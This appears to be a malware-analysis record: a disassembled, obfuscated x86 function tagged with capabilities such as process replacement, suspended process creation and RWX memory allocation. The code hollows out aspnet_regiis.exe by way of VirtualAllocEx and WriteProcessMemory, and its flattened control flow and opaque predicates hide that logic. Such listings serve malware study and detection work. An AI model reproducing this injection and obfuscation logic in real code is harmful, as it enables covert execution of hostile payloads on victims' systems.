Function at 0x100034e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x108
mov eax, dword [0x1006d800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x110], 0x9aec223c
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
sub eax, 0x8061507d
je 0x10009fae
jmp 0x1000351c
mov eax, dword [ebp - 0x114]
sub eax, 0x80804c5f
je 0x1000945c
jmp 0x10003532
mov eax, dword [ebp - 0x114]
sub eax, 0x80cf7eba
je 0x1000a105
jmp 0x10003548
mov eax, dword [ebp - 0x114]
sub eax, 0x8148da45
je 0x10005f8c
jmp 0x1000355e
mov eax, dword [ebp - 0x114]
sub eax, 0x81d9c568
je 0x1000b0e0
jmp 0x10003574
mov eax, dword [ebp - 0x114]
sub eax, 0x8273f35d
je 0x100099b5
jmp 0x1000358a
mov eax, dword [ebp - 0x114]
sub eax, 0x8397c274
je 0x10007d5d
jmp 0x100035a0
mov eax, dword [ebp - 0x114]
sub eax, 0x83ef39b7
je 0x10009f8a
jmp 0x100035b6
mov eax, dword [ebp - 0x114]
sub eax, 0x85babf5d
je 0x1000a2bb
jmp 0x100035cc
mov eax, dword [ebp - 0x114]
sub eax, 0x877624be
je 0x10007c50
jmp 0x100035e2
mov eax, dword [ebp - 0x114]
sub eax, 0x87830a69
je 0x1000944d
jmp 0x100035f8
mov eax, dword [ebp - 0x114]
sub eax, 0x88934895
je 0x10008f31
jmp 0x1000360e
mov eax, dword [ebp - 0x114]
sub eax, 0x8a07712c
je 0x1000671e
jmp 0x10003624
mov eax, dword [ebp - 0x114]
sub eax, 0x8afbffd1
je 0x10005c25
jmp 0x1000363a
mov eax, dword [ebp - 0x114]
sub eax, 0x8b1e08ec
je 0x100087a2
jmp 0x10003650
mov eax, dword [ebp - 0x114]
sub eax, 0x8ca91e41
je 0x10005ef0
jmp 0x10003666
mov eax, dword [ebp - 0x114]
sub eax, 0x8cc726ad
je 0x10009c6e
jmp 0x1000367c
mov eax, dword [ebp - 0x114]
sub eax, 0x8d718083
je 0x1000b164
jmp 0x10003692
mov eax, dword [ebp - 0x114]
sub eax, 0x8d8641fa
je 0x1000aca2
jmp 0x100036a8
mov eax, dword [ebp - 0x114]
sub eax, 0x8dd23896
je 0x100075c9
jmp 0x100036be
mov eax, dword [ebp - 0x114]
sub eax, 0x8e0cb01f
je 0x1000b5eb
jmp 0x100036d4
mov eax, dword [ebp - 0x114]
sub eax, 0x8e90fa89
je 0x1000750e
jmp 0x100036ea
mov eax, dword [ebp - 0x114]
sub eax, 0x8fa598ab
je 0x1000ad0d
jmp 0x10003700
mov eax, dword [ebp - 0x114]
sub eax, 0x90381fd6
je 0x1000a1de
jmp 0x10003716
mov eax, dword [ebp - 0x114]
sub eax, 0x9051b4bd
je 0x10009947
jmp 0x1000372c
mov eax, dword [ebp - 0x114]
sub eax, 0x905678dc
je 0x100077e7
jmp 0x10003742
mov eax, dword [ebp - 0x114]
sub eax, 0x91209b27
je 0x1000660c
jmp 0x10003758
mov eax, dword [ebp - 0x114]
sub eax, 0x9154f172
je 0x1000829b
jmp 0x1000376e
mov eax, dword [ebp - 0x114]
sub eax, 0x91712947
je 0x1000674d
jmp 0x10003784
mov eax, dword [ebp - 0x114]
sub eax, 0x91a94dc2
je 0x1000b35f
jmp 0x1000379a
mov eax, dword [ebp - 0x114]
sub eax, 0x921676e1
je 0x10006869
jmp 0x100037b0
mov eax, dword [ebp - 0x114]
sub eax, 0x930778d3
je 0x10008dd4
jmp 0x100037c6
mov eax, dword [ebp - 0x114]
sub eax, 0x93173772
je 0x10008ac5
jmp 0x100037dc
mov eax, dword [ebp - 0x114]
sub eax, 0x94249f9b
je 0x1000aa69
jmp 0x100037f2
mov eax, dword [ebp - 0x114]
sub eax, 0x94345113
je 0x10007628
jmp 0x10003808
mov eax, dword [ebp - 0x114]
sub eax, 0x945bce39
je 0x100080ba
jmp 0x1000381e
mov eax, dword [ebp - 0x114]
sub eax, 0x947fdffe
je 0x1000699b
jmp 0x10003834
mov eax, dword [ebp - 0x114]
sub eax, 0x95b7053f
je 0x10009148
jmp 0x1000384a
mov eax, dword [ebp - 0x114]
sub eax, 0x961f10b7
je 0x10007dcf
jmp 0x10003860
mov eax, dword [ebp - 0x114]
sub eax, 0x98cfe1ff
je 0x1000871e
jmp 0x10003876
mov eax, dword [ebp - 0x114]
sub eax, 0x98d82a8e
je 0x100077a5
jmp 0x1000388c
mov eax, dword [ebp - 0x114]
sub eax, 0x99bd7739
je 0x100099a6
jmp 0x100038a2
mov eax, dword [ebp - 0x114]
sub eax, 0x9aec223c
je 0x10005889
jmp 0x100038b8
mov eax, dword [ebp - 0x114]
sub eax, 0x9c4a5ea2
je 0x1000afe5
jmp 0x100038ce
mov eax, dword [ebp - 0x114]
sub eax, 0x9cf03066
je 0x10009106
jmp 0x100038e4
mov eax, dword [ebp - 0x114]
sub eax, 0x9d6c38d0
je 0x10005ec1
jmp 0x100038fa
mov eax, dword [ebp - 0x114]
sub eax, 0x9d754dff
je 0x1000a91b
jmp 0x10003910
mov eax, dword [ebp - 0x114]
sub eax, 0x9e5929b6
je 0x10006d1d
jmp 0x10003926
mov eax, dword [ebp - 0x114]
sub eax, 0x9f69be20
je 0x100087b1
jmp 0x1000393c
mov eax, dword [ebp - 0x114]
sub eax, 0x9fbe63d3
je 0x10006363
jmp 0x10003952
mov eax, dword [ebp - 0x114]
sub eax, 0xa00ed2c5
je 0x10007aec
jmp 0x10003968
mov eax, dword [ebp - 0x114]
sub eax, 0xa053ab37
je 0x10006be5
jmp 0x1000397e
mov eax, dword [ebp - 0x114]
sub eax, 0xa12b2e2b
je 0x1000ae52
jmp 0x10003994
mov eax, dword [ebp - 0x114]
sub eax, 0xa15142d0
je 0x1000a31f
jmp 0x100039aa
mov eax, dword [ebp - 0x114]
sub eax, 0xa234e0ed
je 0x100089ae
jmp 0x100039c0
mov eax, dword [ebp - 0x114]
sub eax, 0xa2ad7f2b
je 0x1000652b
jmp 0x100039d6
mov eax, dword [ebp - 0x114]
sub eax, 0xa3586fba
je 0x10007f9d
jmp 0x100039ec
mov eax, dword [ebp - 0x114]
sub eax, 0xa37cce59
je 0x100069b8
jmp 0x10003a02
mov eax, dword [ebp - 0x114]
sub eax, 0xa45669e3
je 0x10006701
jmp 0x10003a18
mov eax, dword [ebp - 0x114]
sub eax, 0xa47633f1
je 0x10005cb1
jmp 0x10003a2e
mov eax, dword [ebp - 0x114]
sub eax, 0xa4bccbb6
je 0x10006ad3
jmp 0x10003a44
mov eax, dword [ebp - 0x114]
sub eax, 0xa66bac7a
je 0x10007893
jmp 0x10003a5a
mov eax, dword [ebp - 0x114]
sub eax, 0xa7247469
je 0x10006ac4
jmp 0x10003a70
mov eax, dword [ebp - 0x114]
sub eax, 0xa754fabf
je 0x1000b2de
jmp 0x10003a86
mov eax, dword [ebp - 0x114]
sub eax, 0xa76c3f80
je 0x1000a125
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa6b1d60
mov ecx, 0x5cb18962
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xa98ddd7
jmp 0x1000b63c
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x93eff5c8
sub edx, 1
sub edx, 0x93eff5c8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe56d132c
mov ecx, 0xc20cb2e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
movss xmm0, dword [0x10018394]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018390]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x110], 0x8ca91e41
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xaceea35
jmp 0x1000b63c
movss xmm0, dword [0x10018228]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018224]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1e794b03
mov ecx, 0xd510826d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x110], 0x4f148a95
jmp 0x1000b63c
movss xmm0, dword [0x10018210]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x1cdff970
sub edx, 1
sub edx, 0x1cdff970
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6ef4d357
mov ecx, 0xe7e691c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x9919c4a4
sub edx, 1
add edx, 0x9919c4a4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2656dd6
mov ecx, 0x7f7da179
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dl, 1
mov eax, 0xf83b5855
mov ecx, 0x8a07712c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
movss xmm0, dword [0x10018360]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x1001835c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x110], 0x91712947
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xf83b5855
jmp 0x1000b63c
mov dword [ebp - 0x110], 0x41ab673a
jmp 0x1000b63c
mov dl, 1
mov eax, 0xc6418eac
mov ecx, 0xa37cce59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0x3f0422dd
sub edx, 1
add edx, 0x3f0422dd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdb21e8e1
mov ecx, 0x67bbc305
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xa4bccbb6
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xc6418eac
jmp 0x1000b63c
mov dl, 1
mov eax, 0xcb66691f
mov ecx, 0xe3e3ae08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xcb66691f
jmp 0x1000b63c
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x645b059a
sub edx, 1
sub edx, 0x645b059a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4b599fb
mov ecx, 0xf189f3c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dl, 1
mov eax, 0x94345113
mov ecx, 0xe97452fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018318]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xf4369c7a
jmp 0x1000b63c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001830c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018308]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xe6be66e0
jmp 0x1000b63c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018304]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xb61217ce
jmp 0x1000b63c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181d8]
movss dword [eax], xmm0
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x81d9c568
mov ecx, 0x2a3e8f8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x18245167
sub edx, 1
sub edx, 0x18245167
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x312e0232
mov ecx, 0xf09c488a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0x263d2e6b
sub edx, 1
add edx, 0x263d2e6b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd0aebc1a
mov ecx, 0xfc523d4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182e0]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xecbfd9ae
jmp 0x1000b63c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181c8]
movss dword [eax], xmm0
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0xb0d4bb2c
sub edx, 1
add edx, 0xb0d4bb2c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8d718083
mov ecx, 0xd8e3181b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182d0]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xcc393a70
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xfb1a6be2
jmp 0x1000b63c
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x5c247f59
jmp 0x1000b63c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181b4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181b0]
movss dword [eax], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x9f2e1613
sub edx, 1
sub edx, 0x9f2e1613
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4de6c4cb
mov ecx, 0xc0eff504
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dword [ebp - 0x110], 0x9f69be20
jmp 0x1000b63c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018288]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xb557c4b9
jmp 0x1000b63c
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0xd1be1406
sub edx, 1
add edx, 0xd1be1406
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcba8493d
mov ecx, 0xc3da10a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0x3a2ca935
sub edx, 1
add edx, 0x3a2ca935
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x535ccdae
mov ecx, 0x4e62708a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018264]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x88934895
mov ecx, 0xf4b3f81c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcaae509b
mov ecx, 0x2e7fc398
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018254]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x56fcf623
jmp 0x1000b63c
mov dl, 1
mov eax, 0xe4a5a427
mov ecx, 0x77394605
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dword [ebp - 0x110], 0x80804c5f
jmp 0x1000b63c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018240]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xe2816915
jmp 0x1000b63c
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x3db05119
sub edx, 1
sub edx, 0x3db05119
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda672a80
mov ecx, 0x99bd7739
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dword [ebp - 0x110], 0x8273f35d
jmp 0x1000b63c
mov dword [ebp - 0x110], 0x15380999
jmp 0x1000b63c
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x78]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x71], al
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x46b16d2c
sub edx, 1
add edx, 0x46b16d2c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67a15b93
mov ecx, 0x6a89c5bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov ax, word [ebp - 0x5e]
movzx esi, ax
mov edx, dword [ebp - 0x64]
mov eax, 0xf69903a1
mov ecx, 0x8061507d
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb0]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc0]
mov esi, dword [esi]
mov edi, dword [ebp - 0xb0]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x110], 0xd22b0e81
jmp 0x1000b63c
mov edx, dword [ebp - 0x58]
mov esi, dword [ebp - 0x54]
mov eax, 0xd3dca17c
mov ecx, 0xa76c3f80
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dword [ebp - 0x110], 0x4a486c07
jmp 0x1000b63c
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x3a], al
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0xfd299178
sub edx, 1
sub edx, 0xfd299178
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc3f216aa
mov ecx, 0xa15142d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dl, byte [ebp - 0x3a]
mov eax, 0xec44c623
mov ecx, 0xe09bdda3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov eax, dword [ebp - 0xa0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x110], 0x8f5f61
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xe882e8d7
jmp 0x1000b63c
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x110], 0x319d7268
jmp 0x1000b63c
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41d2e436
mov ecx, 0xf5462d2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xdaec4b8f
jmp 0x1000b63c
mov dword [ebp - 0x110], 0x39733be3
jmp 0x1000b63c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181d8]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xa66bac7a
jmp 0x1000b63c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181c8]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x961f10b7
jmp 0x1000b63c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001819c]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x2827695d
jmp 0x1000b63c
mov dword [ebp - 0x110], 0x186b2895
jmp 0x1000b63c
mov dword [ebp - 0x110], 0xcbda99af
jmp 0x1000b63c
jmp 0x10003500